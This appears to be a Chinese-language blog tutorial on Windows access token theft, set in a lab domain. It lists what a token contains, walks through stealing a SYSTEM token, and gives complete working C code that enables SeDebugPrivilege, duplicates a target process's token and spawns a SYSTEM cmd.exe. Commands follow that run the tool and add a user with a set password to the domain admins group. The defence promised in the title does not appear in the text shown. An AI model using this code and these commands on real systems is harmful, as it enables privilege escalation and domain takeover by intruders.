这篇文章将会对Windows 令牌窃取及防御技术进行介绍,所使用的环境是上一篇文章中搭建的环境:搭建一个简单的Windows域环境
-
用户帐户的安全标识符(SID) -
用户帐户所属的用户群的SIDs -
一个logon SID,标识当前登录会话 -
用户或用户群的特权清单 -
所有者的SID -
基本群的SID -
当用户创建可安全对象(securable object)且没有给出安全描述符时,系统使用的缺省的自主访问控制列表(DACL) -
访问令牌资源 -
是否为primary或impersonation token -
限制性SIDs的可选列表 -
当前impersonation级别 -
其他统计

-
首先,我们需要是管理员,如果不是,可以使用 bypass uac 等技术进行提权。 -
复制访问令牌的进程需要启用 SeDebugPrivilege 权限。 -
使用 OpenProcess 函数获取具有 SYSTEM 权限的进程句柄。 -
使用 OpenProcessToken 函数获取该进程的令牌句柄。 -
使用 DuplicateTokenEx 函数对令牌进程复制。 -
通过 CreateProcessWithToken 函数用复制的令牌创建新的进程,该进程成为拥有 SYSTEM 权限的进程。
#include <windows.h>
#include <stdio.h>
int main(int argc, char* argv[]) {
TOKEN_PRIVILEGES tokenPriv;
BOOL bResult = FALSE;
HANDLE hToken1 = NULL;
DWORD dwSize;
ZeroMemory(&tokenPriv, sizeof(tokenPriv));
tokenPriv.PrivilegeCount = 1;
// 启用 SeDebugPrivilege 权限
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken1) &&
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tokenPriv.Privileges[0].Luid))
{
tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
bResult = AdjustTokenPrivileges(hToken1, FALSE, &tokenPriv, 0, NULL, NULL);
if (!bResult) {
printf("AdjustTokenPrivileges Failed with Error Code: %d\n", GetLastError());
return 1;
}
}
else
{
printf("Open Process Token Failed with Error Code: %d\n", GetLastError());
return 1;
}
CloseHandle(hToken1);
// 打开目标进程句柄
HANDLE hProcess = NULL;
int pid = atoi(argv[1]);
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pid);
if (!hProcess)
{
printf("Cannot Open Process. Failed with Error Code: %d\n", GetLastError());
CloseHandle(hProcess);
return 1;
}
// 打开目标进程令牌
HANDLE hToken = NULL;
if (!OpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_DUPLICATE, &hToken))
{
printf("Cannot Open Process Token. Failed with Error Code: %d\n", GetLastError());
CloseHandle(hToken);
CloseHandle(hProcess);
return 1;
}
// 复制令牌
HANDLE NewToken = NULL;
BOOL DuplicateTokenResult = FALSE;
SECURITY_IMPERSONATION_LEVEL Sec_Imp_Level = SecurityImpersonation;
TOKEN_TYPE token_type = TokenPrimary;
DuplicateTokenResult = DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, Sec_Imp_Level, token_type, &NewToken);
if (!DuplicateTokenResult)
{
printf("Duplicate Token Failed with Error Code: %d\n", GetLastError());
CloseHandle(hToken);
CloseHandle(NewToken);
return 1;
}
// 使用复制的令牌创建新进程
STARTUPINFO startup_info = {};
PROCESS_INFORMATION process_info = {};
BOOL CreateProcTokenRes = FALSE;
CreateProcTokenRes = CreateProcessWithTokenW(NewToken, 0, L"C:\\Windows\\system32\\cmd.exe", NULL, CREATE_NEW_CONSOLE, NULL, NULL, &startup_info, &process_info);
if (!CreateProcTokenRes)
{
printf("Cannot Create Process With Token. Failed with Error Code: %d\n", GetLastError());
CloseHandle(NewToken);
return 1;
}
return 0;
}









cd C:UsersadminDesktop GetToken.exe 336







// 添加 test 用户,密码是 admin@123 net user test admin@123 /add /domain // 把 test 用户添加进域管理员组 net group "domain admins" test /add /domain // 查看域管理员 net group "domain admins"






版权声明
本站原创文章转载请注明文章出处及链接,谢谢合作!
评论